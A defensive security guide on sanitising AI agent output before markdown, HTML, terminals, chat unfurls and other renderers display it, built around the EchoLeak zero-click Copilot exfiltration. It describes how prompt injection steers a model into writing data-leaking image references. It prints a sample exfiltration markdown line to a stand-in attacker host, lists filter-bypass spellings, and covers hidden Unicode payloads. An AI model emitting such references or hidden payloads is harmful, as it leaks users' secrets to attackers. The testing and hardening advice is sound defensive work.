Rendering Agent Output Safely

9 min read

S13
Operation · Safety, Alignment & Agentic Security

Rendering agent output safely: the last hop is the one you forgot to threat-model.

EchoLeak (CVE-2025-32711) exfiltrated data out of Microsoft 365 Copilot with no click, no tool call and no outbound request by the agent — the model was steered into writing a markdown image, and the victim's client fetched it. That is the whole shape of the problem: your agent's output is attacker-influenced input to whatever displays it, the renderer is a network client you did not audit, and every egress control you built sits upstream of the hop that actually leaks.

STEP 1

Model output is not your data. It is untrusted input wearing your logo.

Teams sanitise what goes into the model and trust what comes out, because our system produced it. That inversion is the root cause of nearly every exfiltration in this class.

  • The output is downstream of everything the agent read. A web page, a PDF, an email, a retrieved chunk, a tool result, another agent's message — any of these can steer generation. The model is not the adversary; it is the compiler that turns the adversary's text into a payload in your output format. This is prompt injection arriving at its destination.
  • The renderer executes. Markdown fetches. HTML runs. Terminals interpret. A "display layer" that resolves remote references is an HTTP client the agent can address by writing text, and text is the one thing the model is guaranteed to control.
  • It defeats the boundary you actually built. Egress control constrains the sandbox. The rendered response leaves from the user's browser, the chat client's unfurl service, or the terminal — none of which route through your proxy. A perfectly firewalled agent still leaks here, which is exactly why this step is worth its own control.
  • The user is not a check. EchoLeak needed no interaction: reference-style markdown evaded link redaction, the image was auto-prefetched, and a Teams proxy already on the content-security-policy allowlist carried the request. Nobody clicked anything.

Write the rule down in one line and put it on the render tier, not in a policy document: output is untrusted until it has passed the same allowlist you would apply to a stranger's HTML. Every step below is an application of it.

STEP 2

Markdown is a network client, and it is the default output format.

Almost every agent emits markdown, and almost every markdown renderer resolves remote references without asking. That combination is the single most exploited channel in this category.

  • An image reference is an unauthenticated GET the model composes. ![](https://attacker.example/x?d=SECRET) needs no tool, no click and no permission. The URL is hundreds of bytes wide — enough for a token, a customer record or a session cookie the agent had legitimate access to.
  • Redaction of links does not cover references. EchoLeak specifically used reference-style markdown to slip past a filter that handled inline links. Any filter written against one syntax will be evaded by the other; markdown has several spellings for the same fetch.
  • Your allowlist is somebody's open proxy. A permitted domain that will fetch or redirect on request — a corporate image proxy, a link unfurler, an analytics pixel endpoint, a URL shortener on a vendor domain — is an exfiltration channel that your policy explicitly approved. This is the same failure documented in data exfiltration and tool misuse, arriving through the UI instead of a tool.
  • The fix is boring and complete: no remote references in rendered output. Strip image URLs that are not on a tiny list of assets you host, and render links as inert text plus a visible destination rather than an anchor the client may prefetch. If the product genuinely needs to show a remote image, fetch it server-side through your own proxy, strip the query string, and cache it — so the request carries nothing and comes from you.

Test it the way an attacker would, not the way a linter would: put a canary secret in the agent's context, plant an injection in a retrieved document, and watch your own egress logs for a request carrying it. If no request appears, try the reference-style spelling, an HTML <img>, a CSS url(), and a favicon. One of them is usually still open.

STEP 3

If you render HTML, allowlist — and know that most markdown libraries pass raw HTML through.

The moment rich formatting is a requirement, you are running a sanitiser, and the two mistakes are choosing a denylist and forgetting that the markdown layer already let HTML in.

  • Raw HTML passthrough is on by default in a surprising number of renderers. Sanitising markdown syntax while the library happily emits an inline <img> or <iframe> from the same source is the most common version of this bug. Disable HTML at the parser, then sanitise anyway.
  • Allowlist elements and attributes; never enumerate the bad ones. Permit a closed set of tags and a closed set of attributes on each. Denylists lose to the next syntax somebody discovers, and this is a domain where new spellings arrive constantly.
  • Scheme-check every URL that survives. javascript:, data: and blob: are the obvious ones; relative URLs that resolve against your own origin are the subtle one, because they let output address your authenticated endpoints.
  • SVG is a document format, not an image format. It carries scripts, external references and styles. If agent output can produce SVG, either rasterise it or treat it as HTML and sanitise it with the same allowlist.
  • Set a content-security-policy on the surface that displays agent output, and read it as a scoping control rather than a fix — EchoLeak went through a CSP by using a host that was already permitted. CSP narrows the set of hosts an injection can reach; it does not decide whether a reference should have been rendered at all.
STEP 4

Non-browser renderers are worse, and nobody hardened them.

The browser at least has a security model. The other four places agent output lands do not, and coding agents put output in all of them.

  • Terminals interpret escape sequences. A model that can print arbitrary bytes into a terminal can rewrite the line above, set the window title, emit a clickable hyperlink whose visible text disagrees with its target, or — where the terminal supports it — write the system clipboard. A CLI agent that streams raw tool output to the screen has handed the attacker a display primitive. Strip control characters from anything the agent did not generate under your own formatter.
  • Chat platforms unfurl from their own servers. Post agent output containing a URL into Slack or Teams and the platform fetches it — from its infrastructure, not yours. That request is invisible to your egress proxy and unblockable by your network policy. Treat any chat surface as a renderer with an unstoppable fetch and never let unvalidated URLs reach it.
  • Notebooks and rich consoles render HTML by design. A data-analysis agent whose output is displayed as rich media is running the browser case with none of the browser hardening.
  • Email and PDF are renderers too. If an agent drafts a message that a human sends, remote images in that draft fetch on the recipient's machine and the exfiltration path now runs through your own customer.

Enumerate your render surfaces on one page — web UI, mobile, CLI, chat integration, email, PDF export, notebook, webhook payload — and mark which one applies the sanitiser. In most systems the answer is "the web UI, and only the web UI", while four other surfaces render the same string.

STEP 5

Invisible characters: the payload the human reviewer approves without seeing it.

This is the step that survives every control above, because it does not need the renderer to fetch anything. It needs the text to look clean.

  • Unicode carries text that does not display. Tag-block code points, zero-width joiners and bidirectional overrides let a string render as innocuous prose while carrying instructions, hidden data, or a different logical order than the visual one. The reviewer approves what they can see.
  • The channel is copy-paste, and it crosses the trust boundary. A human copies the agent's answer into a ticket, a commit message or another prompt; the invisible payload rides along and reaches a model that treats the ticket as trusted internal content. Your human-in-the-loop control is reviewing a rendering, not the bytes.
  • Normalise on the way out, not on the way in. Apply Unicode normalisation, drop non-printing and formatting code points outside a small permitted set, and reject or flag bidirectional controls. Do it at the same choke point as the markdown stripping so there is one function to audit.
  • Show reviewers the escaped form for anything that will act. If a human is approving a command, a URL, a query or a diff, render it in a monospaced, escaped view where every byte is visible. Approval of prettified text is not approval of the payload.
STEP 6

Downstream sinks are renderers, and one function should own all of them.

Agent output rarely stops at a screen. It becomes a ticket body, a commit message, a database row, a document, a webhook — each of which is read later by a human or, increasingly, by another agent.

  • Writing output into a system another agent reads is how injection becomes persistent. The second agent has no way to know the ticket was authored by a model that was steered. This is the write-side of memory poisoning, and the same containment applies: mark provenance on the record, and never let a stored string re-enter a context window as trusted.
  • One egress-formatting function, called on every path. Sanitisation implemented per surface will be complete on the surface someone tested and absent on the integration added last quarter. Make the sanitiser the only way to emit, and make bypassing it require deleting code rather than forgetting to add it.
  • Keep the raw output, ship the cleaned one. Store what the model actually produced in the trace — you need it for incident analysis and for tracing — and never render the raw form back into a tool that will display it.
  • Alert on strip events, do not just strip silently. A stripped remote image, a rejected scheme or a dropped control character during a real run is high-signal evidence that an injection succeeded upstream, and it arrives before any damage. Route it into incident response with the trace attached.
  • Add the canary to the regression suite. A planted-secret, planted-injection test that asserts no outbound request carries the canary belongs in CI next to your evals, per eval-driven development. This control silently regresses whenever someone swaps a markdown library.

Spend the first hour here: put a canary string in one agent's context, plant an injection in a document it retrieves, and see whether a request carrying that canary appears in any log you own. Then turn off remote image resolution in the renderer — that single change closes the channel that produced the only zero-click exfiltration this class has yet had in production, and no product requirement has ever depended on it. Every other control you have bounds what the agent can do; this one bounds what its words can do after it has stopped running.

Related: prompt injection for the attack that arrives here, egress control for the boundary this one sits outside, prompt-injection defense in 2026 for the layered picture, and the agentic threat model for where output rendering sits in it.